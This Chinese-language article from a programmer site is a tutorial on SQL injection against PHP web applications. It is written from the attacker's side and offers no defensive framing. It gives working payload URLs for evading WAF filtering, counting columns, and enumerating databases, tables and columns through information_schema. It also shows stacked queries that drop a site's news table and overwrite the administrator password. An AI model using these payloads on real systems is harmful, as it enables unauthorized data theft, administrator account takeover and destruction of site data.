欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  数据库

SQL注入中基础的几个问题及解决方法

程序员文章站 2022-04-28 10:57:22
...

以 php 为例 引发 SQL 注入失败最主要的原因是什么主要就是 WAF 和手工保护代码,WAF 用于拦截恶意代码,但是 WAF 很好绕过,规则是死的,人是活的。WAF 部署在服务器端,根据预先定义的规则对 http 请求进行过滤,继而拦截一些通用的必然 xss 和 sql 攻击。

  以 php 为例

  引发 SQL 注入失败最主要的原因是什么主要就是 WAF 和手工保护代码,WAF 用于拦截恶意代码,但是 WAF 很好绕过,规则是死的,人是活的。WAF 部署在服务器端,根据预先定义的规则对 http 请求进行过滤,继而拦截一些通用的必然 xss 和 sql 攻击。

  Order by 语句被拦截?

  这个情况很少发生,,但是有时候 WAF 由于某些原因会拦截,不过,我们可以绕过,方法很简单,用 Group by 就可以了。因为不再 WAF 的规则列表里

  比如下面这样提示 403 forbidden

  ?id=1 order by 100--可以尝试一下 group by

  ?id=1 group by 100-- 成功

  但是,有可能这个还会被拦截。所以我们使用一条流传不那么广泛的一个语句。那就是

  (主查询语句)=(select 1)

  ?id=8 and (select * from admins)=(select 1)

  可能会返回一个错误,类似 Operand should contain 5 column(s).

  这样我们就知道有 5 列了。

  然后 union select 就懂了。。

  ?id=-8 union select 1,2,3,4,5--order by 10000 了仍然没有报错?

  这里讲一下有时候 order by 可以用,但是到 10000 了还是不报错,与上一节不同的是,上

  一节是请求被 WAF 拦截,这里呢,则是因为注入语句有点不同,当我第一次遇到的时候,

  我天真的以为数据库表里真的有 10000 列。答案很简单,order by 1000000 还是不报错,是

  因为我们的注入语句没有运行。

  ?id=9 order by 10000000000-- 不报错

  我们稍微改变一下 url ,在 id 后面加一个单引号,并且在最后加一个加号。

  ?id=9' order by 10000000--+ 报错

  然后开始使用 union 查询就行了,方法一样。

  ?id=-9' union select 1,2,3,4,5,6,7,8--+

  从其他数据库里获取数据

  有时候我们注入成功了,但是读出来的表都是些新闻啊,相册啊,文章啊,之类的,我们要

  找的可是管理,登录表啊。这时候我们就需要看一下是不是还有其他的数据库。

  首先获取所有的数据库名:

  ?id=9 union select 1,2,group_concat(schema_name),4 from information_schema.schemata

  然后获得指定数据库的表:

  ?id=9 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema= (这里填写数据库 hex 编码)

  然后获取所有列:

  ?id=9 union select 1,2,group_concat(column_name),4 from information_schema.tables

  where table_schema=(这里填写数据库 hex 编码) and table_name=(这里填写表名的 hex 编码)

  通过 SQL 注入可以修改数据库里的信息吗?

  SQL 可以查询,,更新,插入信息,所以,查询信息只是其中的一个功能,有时候无法破解

  管理员帐号的 MD5 值。那么为什么不自己加一个呢..insert 插入语句就可以,如果找不到

  后台,邪恶一点,干脆直接 drop 掉整个表,这样,管理员也登陆不上了。网站也坏了。还

  可以通过 update 更新语句来修改管理员密码,

  ?id=1

  假设这里存在注入。

  我们通过 union 获取了一些表名,比如有个 news,那么我们通过下面这个语句删除 news

  表。

  ?id=1; DROP TABLE news

  然后网站所有的新闻内容就没了,如果要该更改管理员密码,那么这样:

  ?id=1; UPDATE 'admin_login' SET 'password' = '你自己的 md5' WHERE login_name='admin'--